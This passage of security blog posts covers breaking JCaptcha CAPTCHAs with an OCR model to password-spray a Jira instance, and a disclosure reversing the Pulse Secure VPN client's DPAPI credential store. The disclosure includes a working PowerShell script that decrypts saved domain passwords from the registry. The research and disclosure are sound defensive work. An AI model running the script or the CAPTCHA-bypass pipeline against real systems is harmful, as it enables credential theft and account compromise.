(LISNGES)<br /> 2020-04-02 15:43:16,072 root &nbsp;INFO &nbsp; &nbsp; Step 2068 (0.016s). Accuracy: 99.12%, loss: 0.000005, perplexity: 1.00000, probability: 99.99% 100% (BOUGERS)<br /> 2020-04-02 15:43:16,090 root &nbsp;INFO &nbsp; &nbsp; Step 2069 (0.017s). Accuracy: 99.12%, loss: 0.000045, perplexity: 1.00005, probability: 99.96% 100% (HOUDINE)<br /> 2020-04-02 15:43:16,107 root &nbsp;INFO &nbsp; &nbsp; Step 2070 (0.016s). Accuracy: 99.12%, loss: 0.000005, perplexity: 1.00000, probability: 100.00% 100% (BRATERS)<br /> 2020-04-02 15:43:16,124 root &nbsp;INFO &nbsp; &nbsp; Step 2071 (0.016s). Accuracy: 99.11%, loss: 0.237502, perplexity: 1.26808, probability: 84.77% &nbsp;86% (MORICLY vs MONICLY)<br /> 2020-04-02 15:43:16,142 root &nbsp;INFO &nbsp; &nbsp; Step 2072 (0.017s). Accuracy: 99.11%, loss: 0.000013, perplexity: 1.00001, probability: 99.99% 100% (DEAERED)<br /> ...TRIMMED...</div></div> <p>The results were really good, most of the CAPTCHAs were correctly solved. Overall, using our training set of 2073 CAPTCHAs, 1970 of them were successfully recognized by our model, and 103 were incorrect, which result in approximately 95% of correct guesses.</p> <h4><a id="user-content-serving-the-model" href="#serving-the-model" name="serving-the-model" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Serving the model</h4> <p>The results of the previous phase were really good, but we now wanted to use them in real world to confirm the accuracy of the model. We first exported the model with AOCR:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">aocr export captcha-breaking<br /> ...SKIPPED...<br /> 2020-04-14 13:14:39,385 root &nbsp;INFO &nbsp; &nbsp; Creating a SavedModel.<br /> 2020-04-14 13:14:39,862 root &nbsp;INFO &nbsp; &nbsp; Exported SavedModel into captcha-breaking-laptop</div></div> <p>This will create a new directory named after your model, with the following content:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">tree <br /> .<br /> ├── saved_model.pb<br /> └── variables<br /> &nbsp; &nbsp; ├── variables.data-00000-of-00003<br /> &nbsp; &nbsp; ├── variables.data-00001-of-00003<br /> &nbsp; &nbsp; ├── variables.data-00002-of-00003<br /> &nbsp; &nbsp; └── variables.index<br /> <br /> 1 directory, 5 files</div></div> <p>We then used <a rel="noopener noreferrer" target="_blank" href="https://github.com/tensorflow/serving">Tensorflow Serving</a> to deploy an HTTP API serving our model, and submit CAPTCHAs generated by our Jira instance. TensorFlow serving expects to point to a base directory which includes a version subdirectory. So, inside the directory created in last step, create a sub-directory named <code>1</code>, and copy the <code>saved_model.pb</code> file and the <code>variables</code> directory, then start the serving server with the command:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">tensorflow_model_server --port=9000 --rest_api_port=9001 &nbsp;--model_name=&quot;captcha-breaking-laptop&quot; --model_base_path=/home/antoine/Gremwell/Bitbucket/captcha-breaker/captcha_cracking/labeled_captcha/</div></div> <p>You can then base64-encode a CAPTCHA and send it to the server with a POST request like:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">POST /v1/models/captcha-breaking-laptop:predict HTTP/1.1<br /> Host: localhost:9001<br /> cache-control: no-cache<br /> content-type: application/json<br /> Content-Length: 3483<br /> <br /> {<br /> &nbsp; &quot;signature_name&quot;: &quot;serving_default&quot;,<br /> &nbsp; &quot;inputs&quot;: {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &quot;input&quot;: { &quot;b64&quot;: &quot;&lt; Base64 encoded CAPTCHA &gt;&quot; }<br /> &nbsp; }<br /> }</div></div> <p>The server will then answer with the estimated CAPTCHA value, along with its probability. The probability can be particularly useful in case of a real-world bruteforce attack, to avoid submitting a CAPTCHA if the model is not confident enough.</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">HTTP/1.1 200 OK<br /> Content-Type: application/json<br /> Date: Tue, 14 Apr 2020 12:17:09 GMT<br /> Content-Length: 98<br /> <br /> {<br /> &nbsp; &nbsp; &quot;outputs&quot;: {<br /> &nbsp; &nbsp; &nbsp; &nbsp; &quot;output&quot;: &quot;GARRILY&quot;,<br /> &nbsp; &nbsp; &nbsp; &nbsp; &quot;probability&quot;: 0.39653096788033193<br /> &nbsp; &nbsp; }<br /> }</div></div> <h3><a id="user-content-attacking-jira-instance" href="#attacking-jira-instance" name="attacking-jira-instance" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Attacking Jira instance</h3> <p>The last step of our experiment was to deploy everything and start password spraying the Jira instance to confirm it works as expected. We wrote a Python script to connect to our Jira instance and get a CAPTCHA, then base64-encode it and submit it to our deployed Tensorflow Server. Depending on the probability of a correct guess, we either submit the request with the CAPTCHA response, or just ask for another CAPTCHA to solve until we have a high enough probability.</p> <h2><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> <p>We demonstrated that research published by F-Secure on CAPTCHA breaking is fully actionable, even against widespread CAPTCHA libraries such as JCaptcha. We hope that this article will provide some added value to would-be CAPTCHA breakers, especially when it comes to instrumenting the CAPTCHA libraries against themselves in order to not waste time labeling entries manually.</p> <p>This post was written by <a rel="noopener noreferrer" target="_blank" href="https://twitter.com/qkaiser">Quentin Kaiser</a> and <a rel="noopener noreferrer" target="_blank" href="https://twitter.com/aroly">Antoine Roly</a>.</p></div> <span><span lang="" about="/user/420" typeof="schema:Person" property="schema:name" datatype="">quentin</span></span> <span>Mon, 10/05/2020 - 15:08</span> Mon, 05 Oct 2020 13:08:07 +0000 quentin 964 at https://www.gremwell.com Reversing Pulse Secure Client Credentials Store https://www.gremwell.com/blog/reversing_pulse_secure_client_credentials_store <span>Reversing Pulse Secure Client Credentials Store</span> <div><p><img src="https://www.gremwell.com/sites/default/files/pulse_secure_logo.jpg" alt="Reversing" /></p> <p>In early 2019, I had to assess the latest version (9.1r3 at the time) of Pulse Secure Connect Client, an IPSEC/SSL VPN client developed by Juniper.</p> <p>Given that the client allow end users to save their credentials, one of my tests included verifying how an attacker could recover them. The attacker perspective was simple: access to an employee's laptop (either physical access or remote access with low privileges). Note that the ability to recover credentials can have serious effects given that they are *almost always* domain credentials.</p> <h3><a id="user-content-credential-store-architecture" href="#credential-store-architecture" name="credential-store-architecture" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Credential Store Architecture</h3> <p>When a user selects the “Save Settings” option during authentication, their password is stored encrypted into the registry:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Windows Registry Editor Version 5.00<br /> <br /> [HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88]<br /> &quot;Password1&quot;=hex:01,00,00,00,d0,8c,9d,df,01,15,d1,11,8c,7a,00,c0,4f,c2,97,eb,01,\<br /> &nbsp; 00,00,00,34,22,f4,65,43,ed,5e,4a,80,01,a0,52,dc,f7,47,c0,00,00,00,00,02,00,\<br /> &nbsp; 00,00,00,00,03,66,00,00,c0,00,00,00,10,00,00,00,39,04,e6,5e,41,9d,99,8b,ee,\<br /> &nbsp; fb,9a,7a,85,53,2b,7f,00,00,00,00,04,80,00,00,a0,00,00,00,10,00,00,00,bb,26,\<br /> &nbsp; da,ed,2f,7e,18,f6,4b,28,be,03,82,c5,9e,65,48,00,00,00,f0,78,73,26,e7,4b,9a,\<br /> &nbsp; 4d,2a,b1,7f,a6,4e,4b,35,25,4a,c4,9e,04,c0,f8,eb,f7,04,50,d3,d8,78,b0,18,d9,\<br /> &nbsp; 17,69,fb,5a,69,d6,c2,a1,35,d4,f6,66,25,15,f7,61,ee,a0,7e,8b,f5,5a,a7,a4,1a,\<br /> &nbsp; b4,2d,34,03,7d,06,d6,8a,4b,9e,18,d7,15,65,a2,14,00,00,00,6c,f7,84,15,7f,a4,\<br /> &nbsp; a8,e6,9a,5d,34,79,a7,16,97,0a,a6,10,17,07</div></div> <p>The only reference to this format I could find is a request on 'John the Ripper' <a rel="noopener noreferrer" target="_blank" href="https://www.openwall.com/lists/john-users/2014/06/27/1">mailing-list</a> asking if anyone looked into this before:</p> <p><img src="https://www.gremwell.com/sites/default/files/pulse_secure_jtr_post.png" alt="pulse_secure_jtr_post" /></p> <p>No one ever answered that email since 2014, so it's time to dig into the code !</p> <h3><a id="user-content-static-analysis" href="#static-analysis" name="static-analysis" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Static Analysis</h3> <p>I used <a rel="noopener noreferrer" target="_blank" href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">procmon</a> to get stack traces prior to calls to *RegSetValueEXW* and discovered that *CryptProtectData* is called just before saving data in the registry.</p> <p>I then disassembled the main binary (*./JamUI/Pulse.exe*) with <a rel="noopener noreferrer" target="_blank" href="https://rada.re/r/">Radare2</a> and discovered that the client indeed rely on **Windows Data Protection API** (DPAPI) to encrypt credentials.</p> <p><img src="https://www.gremwell.com/sites/default/files/pulse_secure_reversing_800.gif" alt="Reversing" /></p> <p>I checked <a rel="noopener noreferrer" target="_blank" href="https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptprotectdata">MSDN</a> and noted that the first parameter to the function is a DATA_BLOB which holds the plaintext, the second is data description while the third is another DATA_BLOB holding an optional entropy parameter:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">DPAPI_IMP BOOL CryptProtectData(<br /> &lt;span style=&quot;border: 1px solid yellow&quot;&gt; &nbsp;DATA_BLOB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *pDataIn,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;<br /> &nbsp; LPCWSTR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; szDataDescr,<br /> &lt;span style=&quot;border: 1px solid cyan&quot;&gt; &nbsp; DATA_BLOB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *pOptionalEntropy,&amp;nbsp;&lt;/span&gt;<br /> &nbsp; PVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pvReserved,<br /> &nbsp; CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,<br /> &nbsp; DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwFlags,<br /> &nbsp; DATA_BLOB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *pDataOut<br /> &nbsp; );</div></div> <h3><a id="user-content-dynamic-analysis" href="#dynamic-analysis" name="dynamic-analysis" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dynamic Analysis</h3> <p>Now that I knew what to look for, I just had to attach to the running process with Windbg and set breakpoints on *CryptProtectData* and *CryptUnprotectData*:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; bp Crypt32!CryptUnprotectData<br /> &lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; bu Crypt32!CryptProtectData<br /> &lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; g</div></div> <p>I set the connection details, entered my credentials, checked the 'Save credentials' option and clicked 'Connect'.</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Breakpoint 1 hit<br /> *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\Common Files\Pulse Secure\JamUI\Pulse.exe<br /> CRYPT32!CryptProtectData:<br /> 76b37063 68b0000000 &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;0B0h</div></div> <p>Looks like I was right, we just hit *CryptProtectData* ! If we dump the function parameters, we see *pDataIn* address in yellow and *pOptionalEntropy* address in cyan.</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; dd poi(esp+4)<br /> 0029ee84 &nbsp;00000022 &lt;span style=&quot;background-color:yellow&quot;&gt;028aef40&lt;/span&gt; ffffffff &lt;span style=&quot;background-color:cyan&quot;&gt;028a2b88&lt;/span&gt;<br /> 0029ee94 &nbsp;00ea471e 028c08d4 00000000 00000024<br /> 0029eea4 &nbsp;00000027 028c0778 02882a58 02897c98<br /> 0029eeb4 &nbsp;00000001 0029ef8c 0000004a 0000004f<br /> 0029eec4 &nbsp;d08665dd 0029f118 00f8ca38 00000002<br /> 0029eed4 &nbsp;00ea5c46 028a2c90 00000001 00000000<br /> 0029eee4 &nbsp;028c09b4 d086656d 0029f3d0 02897c98<br /> 0029eef4 &nbsp;74a18a94 00000000 02897c98 00000000</div></div> <p>As expected, the first address points to my super secret password while the second points to the optional entropy value:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">&lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; du &lt;span style=&quot;background-color:yellow&quot;&gt;028aef40&lt;/span&gt;<br /> 028aef40 &nbsp;&quot;REDACTED&quot;<br /> &lt;b&gt;0:000:x86&amp;gt;&lt;/b&gt; du &lt;span style=&quot;background-color:cyan&quot;&gt;028a2b88&lt;/span&gt;<br /> 028a2b88 &nbsp;&quot;IVE:41CE2E38289D9B43BBB1D28A1DD6&quot;<br /> 028a2bc8 &nbsp;&quot;EC88&quot;</div></div> <p>If *pOptionalEntropy* value looks familiar, it's normal. It is actually equal to the registry path's last part, in uppercase and without dash characters.</p> <ul> <li>**Registry path**: HKEY_USERS\S-1-5-21-1757981266-1645522239-839522115-176938\Software\Pulse Secure\Pulse\User Data\ive:41ce2e38-289d-9b43-bbb1-d28a1dd6ec88</li> <li>**pOptionalEntropy value**: IVE:41CE2E38289D9B43BBB1D28A1DD6EC88</li> </ul> <p>The registry path is readable by the user so an attacker could simply get the encrypted data out the registry, provide the converted registry path's part as entropy value and obtain the domain password in plaintext.</p> <p>*I wouldn't have done it without <a rel="noopener noreferrer" target="_blank" href="https://twitter.com/seanderegge">@seanderegge</a> WinDbg-fu, so thanks Sean :)*</p> <h3><a id="user-content-pocgtfo" href="#pocgtfo" name="pocgtfo" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>PoC||GTFO</h3> <p>I wrote this piece of Powershell so Pulse Secure could easily reproduce it:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Add-Type -AssemblyName System.Security;<br /> <br /> $ives = Get-ItemProperty -Path 'Registry::HKEY_USERS\*\Software\Pulse Secure\Pulse\User Data\*'<br /> foreach($ive in $ives) {<br /> &nbsp; &nbsp; $ivename = $ive.PSPath.split('\')[-1].ToUpper()<br /> &nbsp; &nbsp; Write-Host &quot;[+] Checking IVE $($ivename)...&quot;<br /> &nbsp; &nbsp; $seed = [System.Text.Encoding]::GetEncoding('UTF-16').getBytes($ivename)<br /> &nbsp; &nbsp; # 3 possible value names for password<br /> &nbsp; &nbsp; $encrypted = $ive.Password1<br /> &nbsp; &nbsp; if(!$encrypted){<br /> &nbsp; &nbsp; &nbsp; &nbsp; $encrypted = $ive.Password2<br /> &nbsp; &nbsp; }<br /> &nbsp; &nbsp; if(!$encrypted){<br /> &nbsp; &nbsp; &nbsp; &nbsp; $encrypted = $ive.Password3<br /> &nbsp; &nbsp; }<br /> &nbsp; &nbsp; $plaintext = [Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect($encrypted, $seed, 'CurrentUser'))<br /> &nbsp; &nbsp; Write-Host &quot;[+] Password is $($plaintext)&quot;<br /> }</div></div> <p>I also developed a post-exploitation module for Metasploit so if pentesters land on a laptop with an outdated version of Pulse Secure they can get plaintext domain credentials. No need to pass the hash anymore :)</p> <h3><a id="user-content-how-do-we-even-fix-this-" href="#how-do-we-even-fix-this-" name="how-do-we-even-fix-this-" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How do we even fix this ?</h3> <p>I'm totally aware that any credentials saving feature will need access to plaintext *at some point*. The data protection API is not bulletproof once you execute code with your victim's privileges. This is known and accepted, even by <a rel="noopener noreferrer" target="_blank" href="https://www.rapid7.com/db/modules/post/windows/gather/enum_chrome">browsers</a>.</p> <p>However, we're talking about access to the victim's domain credentials in plaintext without any kind of privilege escalation required. My initial recommendation to Pulse Secure was to save the encrypted password to a file. They were already using a file only readable/writable by SYSTEM to save the cached username, so why not the encrypted password too ?</p> <p>From my point of view this would align with Windows way of working. You would need to elevate to SYSTEM in order to be able to dump the plaintext password from Pulse Secure. At this point you would already be able to dump local hashes and executes pass-the-hash attacks, so Pulse Secure client would not bring more risk by being installed.</p> <h3><a id="user-content-the-fix---pulse-secure-connect-91r4" href="#the-fix---pulse-secure-connect-91r4" name="the-fix---pulse-secure-connect-91r4" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The fix - Pulse Secure Connect 9.1r4</h3> <p>On February 10th of 2020, Pulse Secure PSIRT provided me with a new release (9.1r4) confirming they fixed the issue. I installed it and then reverse engineered it to validate their claim.</p> <p>User data is still saved in the registry:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Windows Registry Editor Version 5.00<br /> <br /> [HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data]<br /> <br /> [HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data\ive:a165fb2afc26784dbd1403a2fd1573f7]<br /> &quot;Password1&quot;=hex:7b,00,63,00,61,00,70,00,69,00,7d,00,20,00,31,00,2c,00,30,00,31,\<br /> &nbsp; 00,30,00,30,00,30,00,30,00,30,00,30,00,64,00,30,00,38,00,63,00,39,00,64,00,\<br /> &nbsp; 64,00,66,00,30,00,31,00,31,00,35,00,64,00,31,00,31,00,31,00,38,00,63,00,37,\<br /> &nbsp; 00,61,00,30,00,30,00,63,00,30,00,34,00,66,00,63,00,32,00,39,00,37,00,65,00,\<br /> &nbsp; 62,00,30,00,31,00,30,00,30,00,30,00,30,00,30,00,30,00,35,00,38,00,35,00,35,\<br /> --snip--</div></div> <p>However, the format changed a little. If we decode the 'Password1' registry value as ASCII hexadecimal, we get this:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">{capi}<br /> 1,01000000d08c9ddf0115d1118c7a00c04fc297eb010000005855f90b0dd16b4791ac8f18b8132b2c000000000800000046005300570000001066000000010000200000002bb709607477b4ecbda0a5c069cc7556fc6047fd6ebcbbda683f315adc6214e2000000000e8000000002000020000000e969de12c7053409498fcf3fe67475ab13769d550cc0caea170295e40e524bff20000000fe0ff71306260a18547e6956696f3040c42136b74735bf1a897a4e402dbd5a1140000000e53838f473ce6631ebecd41ddda8fd28f5a3bc506ea555a73e5ff6b321bd6fb44eb47fb117b5b6104529a4123686cf9d5599e88a9dd4949227541e3a216ed42b</div></div> <p>The long value after the colon is likely a DPAPI encrypted value given the value <code>01000000d08c9ddf0115d1118c7a0</code> at the start.</p> <p>I tried to decrypt the value using the IVE value as entropy parameter, no luck. I tried without an entropy parameter, no luck either.</p> <p>By looking around I found that they moved the DPAPI calls for user data to the Pulse Secure service running in the background. User data management is performed by a DLL (*C:\Program Files (x86)\Common\Pulse Secure\Connection Manager\ConnectionManagerService.dll*) loaded by Pulse Secure service.</p> <p>By tracing calls to CryptProtectData, I came upon the function below (variables renamed for readability). We can see that it receives the user's password to save and builds a DATA_BLOB structure for the entropy parameter.</p> <p><img src="https://www.gremwell.com/sites/default/files/pulse_secure_91r4_reversing.png" alt="reversing91r4" /></p> <p>Building pOptionalEntropy DATA_BLOB is performed in the function below. We can see that it sets the length (cbData) to 0x10 and makes pbData point to a hardcoded address in the binary:</p> <p><img src="https://www.gremwell.com/sites/default/files/pulse_secure_91r4_reversing_2.png" alt="reversing91r4_2" /></p> <p>Data representation sucks in Ghidra, so let's switch to Radare2:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">[0x10053630]&gt; s 0x10089f14<br /> [0x10089f14]&gt; px<br /> - offset - &nbsp; 0 1 &nbsp;2 3 &nbsp;4 5 &nbsp;6 7 &nbsp;8 9 &nbsp;A B &nbsp;C D &nbsp;E F &nbsp;0123456789ABCDEF<br /> 0x10089f14 &nbsp;7b4c 6492 b771 64bf 81ab 80ef 044f 01ce &nbsp;{Ld..qd......O..</div></div> <p>The entropy value is set to <code>7B4C6492B77164BF81AB80EF044F01CE</code>, we confirmed it by loading it with <a rel="noopener noreferrer" target="_blank" href="https://www.nirsoft.net/utils/dpapi_data_decryptor.html">DataProtectionDecryptor.exe</a>:</p> <p><img src="https://www.gremwell.com/sites/default/files/dpapi_decryptor_results.png" alt="dpapi_decryptor_results.png" /></p> <p>What's really interesting here is that the DPAPI key is stored in *C:\Windows\Sysnative\Microsoft\Protect\S-1-5-18\User\0AB0296F-01B7-4BC3-90A2-7CBB48201253*. Looking at the SID value (S-1-5-18), we know the key belong to Local System, which makes sense given that the Pulse Secure service runs as SYSTEM. This means we cannot recover the plaintext password unless we elevate our privileges first.</p> <h3><a id="user-content-recommendations" href="#recommendations" name="recommendations" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Recommendations</h3> <p>We recommend you to upgrade your Pulse Secure Connect clients to the latest versions: 9.1R4 and 9.0R5. If you don't want to give your users the ability to save credentials, you can either disable that option via <a rel="noopener noreferrer" target="_blank" href="https://docs.pulsesecure.net/WebHelp/PDC/9.0R1/Content/PDC_AdminGuide_9.0R1/Pulse_Secure_Connection_Set.htm">Pulse Policy</a> or rely on <a rel="noopener noreferrer" target="_blank" href="https://docs.pulsesecure.net/WebHelp/PDC/9.0R1/Content/PDC_AdminGuide_9.0R1/Machine_Authentication_for_1.htm">machine authentication</a> by using machine certificates rather than passwords.</p> <h3><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 